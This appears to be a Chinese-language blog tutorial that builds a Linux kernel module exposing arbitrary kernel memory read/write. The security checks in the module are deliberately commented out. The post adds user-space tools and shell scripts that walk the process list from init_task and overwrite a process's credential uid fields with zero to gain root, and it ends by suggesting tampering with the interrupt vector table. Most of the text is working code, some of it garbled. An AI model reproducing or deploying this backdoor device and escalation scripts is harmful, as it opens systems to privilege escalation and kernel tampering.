事先聲明,本人菜鳥一枚,文中如有不正確之處,敬請大俠指正.
(本文中舉例均以4.5版本的x86_64的linux內核為例)
字符驅動算是linux驅動裡面比較簡單的一種。說白了,就是可以對內存讀哇寫哇什麼的。既然是對內存讀寫,那為什麼還要驅動呢?簡單的
int a; a = 10;不就是對內存寫嗎?干嘛還要搞個驅動,這麼麻煩?
閒話扯到這,上代碼吧:
#include不好意思,注釋不多,但應該也不難讀懂#include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("GAO"); MODULE_DESCRIPTION("HELLO"); dev_t dev; extern struct task_struct init_task; static inline unsigned long size_inside_page(unsigned long start, unsigned long size) { unsigned long sz; sz = PAGE_SIZE - (start & (PAGE_SIZE - 1)); return min(sz, size); } static loff_t my_chr_dev_seek(struct file *file, loff_t offset, int orig) { loff_t ret; mutex_lock(&file_inode(file)->i_mutex); switch (orig) { case SEEK_CUR: offset += file->f_pos; case SEEK_SET: /* to avoid userland mistaking f_pos=-9 as -EBADF=-9 */ if (IS_ERR_VALUE((unsigned long long)offset)) { ret = -EOVERFLOW; break; } file->f_pos = offset; ret = file->f_pos; force_successful_syscall_return(); break; default: ret = -EINVAL; } mutex_unlock(&file_inode(file)->i_mutex); return ret; } static ssize_t do_write_kmem(unsigned long p, const char __user *buf, size_t count, loff_t *ppos) { ssize_t written, sz; unsigned long copied; written = 0; while (count > 0) { char *ptr; sz = size_inside_page(p, count); /* * On ia64 if a page has been mapped somewhere as uncached, then * it must also be accessed uncached by the kernel or data * corruption may occur. */ ptr = xlate_dev_kmem_ptr((char *)p); copied = copy_from_user(ptr, buf, sz); if (copied) { written += sz - copied; if (written) break; return -EFAULT; } buf += sz; p += sz; count -= sz; written += sz; } *ppos += written; return written; } static ssize_t my_chr_dev_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { unsigned long p = *ppos; ssize_t wrote = 0; ssize_t virtr = 0; char *kbuf; int err = 0; /* if (!capable(CAP_COMPROMISE_KERNEL)) return -EPERM; */ if (p < (unsigned long) high_memory) { unsigned long to_write = min_t(unsigned long, count, (unsigned long)high_memory - p); wrote = do_write_kmem(p, buf, to_write, ppos); if (wrote != to_write) return wrote; p += wrote; buf += wrote; count -= wrote; } if (count > 0) { kbuf = (char *)__get_free_page(GFP_KERNEL); if (!kbuf) return wrote ? wrote : -ENOMEM; while (count > 0) { unsigned long sz = size_inside_page(p, count); unsigned long n; /* if (!is_vmalloc_or_module_addr((void *)p)) { err = -ENXIO; break; } */ n = copy_from_user(kbuf, buf, sz); if (n) { err = -EFAULT; break; } memcpy((char *)p, kbuf, sz); /* vwrite(kbuf, (char *)p, sz); */ count -= sz; buf += sz; virtr += sz; p += sz; } free_page((unsigned long)kbuf); } *ppos = p; return virtr + wrote ? : err; } static ssize_t my_chr_dev_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { unsigned long p = *ppos; ssize_t low_count, read, sz; char *kbuf; int err = 0; read = 0; if (p < (unsigned long) high_memory) { low_count = count; if (count > (unsigned long)high_memory - p) low_count = (unsigned long)high_memory - p; while (low_count > 0) { sz = size_inside_page(p, low_count); /* * On ia64 if a page has been mapped somewhere as * uncached, then it must also be accessed uncached * by the kernel or data corruption may occur */ kbuf = xlate_dev_kmem_ptr((char *)p); if (copy_to_user(buf, kbuf, sz)) return -EFAULT; buf += sz; p += sz; read += sz; low_count -= sz; count -= sz; } } if (count > 0) { kbuf = (char *)__get_free_page(GFP_KERNEL); if (!kbuf) return -ENOMEM; while (count > 0) { sz = size_inside_page(p, count); memcpy(kbuf, (char *)p, sz); /* sz = vread(kbuf, (char *)p, sz); if (!sz) break; */ if (copy_to_user(buf, kbuf, sz)) { err = -EFAULT; break; } count -= sz; buf += sz; read += sz; p += sz; } free_page((unsigned long)kbuf); } *ppos = p; return read ? read : err; } static int my_chr_dev_open(struct inode *inode, struct file *filp) { filp->f_mode |= FMODE_UNSIGNED_OFFSET; return 0; } static const struct file_operations my_chr_dev_fops = { .llseek = my_chr_dev_seek, .read = my_chr_dev_read, .write = my_chr_dev_write, .open = my_chr_dev_open, .owner = THIS_MODULE, }; struct cdev my_chrdev; static int my_chrdev_init(void) { int ret; ret = alloc_chrdev_region(&dev, 0, 1, "my_chr_dev"); if (ret != 0) { printk(KERN_ALERT "error allocating device number\n"); return ret; } cdev_init(&my_chrdev, &my_chr_dev_fops); my_chrdev.owner = THIS_MODULE; ret = cdev_add(&my_chrdev, dev, 1); if (ret < 0) { printk(KERN_ALERT "adding charactor device failed\n"); unregister_chrdev_region(dev, 1); return ret; } printk(KERN_ALERT "hello, I'm coming\n"); printk(KERN_ALERT "init_task addr: %lx\n", (long *)(&init_task)); printk(KERN_ALERT "tasks list head offset: %lx\n", (long *)(&init_task.tasks)); printk(KERN_ALERT "pid offset: %lx\n", (long *)(&init_task.pid)); printk(KERN_ALERT "real_cred offset: %lx\n", (long *)(&init_task.real_cred)); return 0; } static void my_chrdev_exit(void) { unregister_chrdev_region(dev, 1); cdev_del(&my_chrdev); printk(KERN_ALERT "goodbye, dear world\n"); } module_init(my_chrdev_init); module_exit(my_chrdev_exit);
struct list_head tasks; const struct cred __rcu *real_cred; pid_t pid;其中 const struct cred __rcu *real_cred 就是指向當前進程相關權限的數據結構的指針。pid就是進程id,tasks是個雙向鏈表頭,linux內核就是靠這個把所有的進程的 task_struct 結構鏈起來,也就是說,只要找到某一個進程的 task_struct 結構的地址,通過這個雙向鏈表就可以遍歷所有進程的task_struct結構了。現在我們需要做的就是遍歷所有進程的task_struct結構,取出進程id,看看是不是我們感興趣的那個進程,如果是的話,將 real_cred 指針指向的結構體裡面對應的權限改成 root 權限(其實就是把uid改成root的uid,root的uid其實就是0),就一切大功告成啦,哈哈。等等,剛才說要遍歷所有進程,得先知道某一個進程的task_struct結構體的地址,這茫茫人海,怎麼找啊。幸好linux提供了一個 叫做 init_task 的task_struct 結構體。好像就是0號進程的task_struct結構體吧,反正這個結構體一開機就已經在內核空間存在了的。那就找下這個 init_task 變量的位置吧。以前利用
grep "\命令就可以把它的地址找到,不過最近內核裡不知做了什麼,看源碼 init_task 明明被導出了,但我的 /proc/kallsyms 裡面死活就是沒有它!這就是為什麼我在上面的字符驅動裡面有這樣的語句了:" /proc/kallsyms
extern struct task_struct init_task; ... printk(KERN_ALERT "init_task addr: %lx\n", (long *)(&init_task));
然後再使用 dmsg 看看結果。。。方法有點土,但還行,能工作。其他的語句裡面:
printk(KERN_ALERT "tasks list head offset: %lx\n", (long *)(&init_task.tasks)); printk(KERN_ALERT "pid offset: %lx\n", (long *)(&init_task.pid)); printk(KERN_ALERT "real_cred offset: %lx\n", (long *)(&init_task.real_cred));是為了看看我們感興趣的這三個成員變量在 task_struct 結構體裡面的地址相對偏移量。當然了,如果你不嫌麻煩,也可以對著源碼數,再考慮上內存對齊的問題,也是可以數出來相對偏移量的,真的可以的。 該說的都說完了,貼幾個代碼吧,方便懶人,哈哈:
#include#include #include #include #include #include #include union Data { u_int8_t data_8; u_int16_t data_16; u_int32_t data_32; u_int64_t data_64; }; int main(int argc, char* argv[]) { int fd; ssize_t len, ret; off_t off; union Data data; void *buf; FILE *fp; if (argc != 3 && argc != 4) { fprintf(stderr, "usage: read_kernel_data [out_file]\n"); return -1; } /* open char driver */ fd = open("/dev/my_chr_dev0", O_RDONLY); if (fd == -1) { perror("open"); return -1; } /* parse parameters */ len = (ssize_t) strtol(argv[2], NULL, 0); off = (off_t) strtoul(argv[1], NULL, 0); if (argc == 3) buf = (void *)&data; else buf = malloc(len); if (buf == NULL) { perror("malloc"); return -1; } /* read kernel data according to given parameters */ if (lseek(fd, off, SEEK_SET) == -1) { perror("lseek"); close(fd); return -1; } while (len !=0 && (ret = read(fd, buf, len)) != 0) { if (ret == -1) { if (errno == EINTR) continue; perror("read"); return -1; } len -= ret; buf += ret; } len = (ssize_t) strtol(argv[2], NULL, 0); /* write data to file */ buf -= len; if (argc == 4) { fp = fopen(argv[3], "wb"); if (!fp) { perror("open"); return -1; } fwrite(buf, len, 1, fp); fclose(fp); printf("data has been writen in file: %s\n", argv[3]); return 0; } /* write data to stdout */ switch (len) { case 1: printf("result@0x%lx: %hhd\t0x%02hhx\n", off, data.data_8, data.data_8); break; case 2: printf("result@0x%lx: %hd\t0x%04hx\n", off, data.data_16, data.data_16); break; case 4: printf("result@0x%lx: %d\t0x%08x\n", off, data.data_32, data.data_32); break; case 8: printf("result@0x%lx: %ld\t0x%016lx\n", off, data.data_64, data.data_64); break; default: fprintf(stderr, "invalide length!\n"); } close(fd); return 0; }
#include#include #include #include #include #include #include union Data { u_int8_t data_8; u_int16_t data_16; u_int32_t data_32; u_int64_t data_64; }; int main(int argc, char* argv[]) { int fd; ssize_t len; off_t off; unsigned long tmp; union Data data; if (argc != 4) { fprintf(stderr, "usage: write_kernel_mem \n"); return -1; } fd = open("/dev/my_chr_dev0", O_WRONLY); if (fd == -1) { perror("open"); return -1; } len = (ssize_t) strtol(argv[2], NULL, 0); off = (off_t) strtoul(argv[1], NULL, 0); tmp = strtoul(argv[3], NULL, 0); switch (len) { case 1: data.data_8 = (u_int8_t)tmp; break; case 2: data.data_16 = (u_int16_t)tmp; break; case 4: data.data_32 = (u_int32_t)tmp; break; case 8: data.data_64 = (u_int64_t)tmp; break; default: fprintf(stderr, "invalide length!\n"); } if (lseek(fd, off, SEEK_SET) == -1) { perror("lseek"); close(fd); return -1; } if (-1 == write(fd, (void*)&data, len)) { perror("write"); close(fd); return -1; } close(fd); return 0; }
#!/bin/sh if [ $# -ne 1 ] then echo "usage: locate_process" exit 0 fi pid=$1 #init_task=`grep "\ " /proc/kallsyms | cut -f1 -d" "` init_task="0xffffffff81811500" #echo "init_task address is $init_task" current_pid=0 list_head=$((0x398 + $init_task)) list_head=`printf 0x%lx $list_head` init_list_head=$list_head until [ "$pid" -eq "$current_pid" ] do pid_in_task=$((0x100 + $list_head)) pid_in_task=`printf 0x%lx $pid_in_task` current_pid=`read_kernel_data ${pid_in_task} 4 | awk '{print $2}'` list_head=`read_kernel_data $list_head 8 | awk '{print $3}'` if [ "${list_head}" = "${init_list_head}" ] then echo "no process found" exit -1 fi done descriptor=$(($pid_in_task - 0x498)) descriptor=`printf 0x%lx $descriptor` echo "process descriptor address is $descriptor"
#!/bin/sh pid=$$ proc_addr=`~/tmp/locate_process $pid | awk '{print $5}'` cred_pointer=$(($proc_addr + 0x638)) cred_pointer=`printf 0x%lx $cred_pointer` cred_addr=`read_kernel_data $cred_pointer 8 | awk '{print $3}'` uid_pointer=$(($cred_addr + 4)) uid_pointer=`printf 0x%lx $uid_pointer` write_kernel_data $uid_pointer 8 0 uid_pointer=$(($cred_addr + 20)) uid_pointer=`printf 0x%lx $uid_pointer` write_kernel_data $uid_pointer 8 0 cat<好了,截個圖看看效果吧 ^_^: 題外話,如果有興趣可以試著改改中斷向量表,肯定更刺激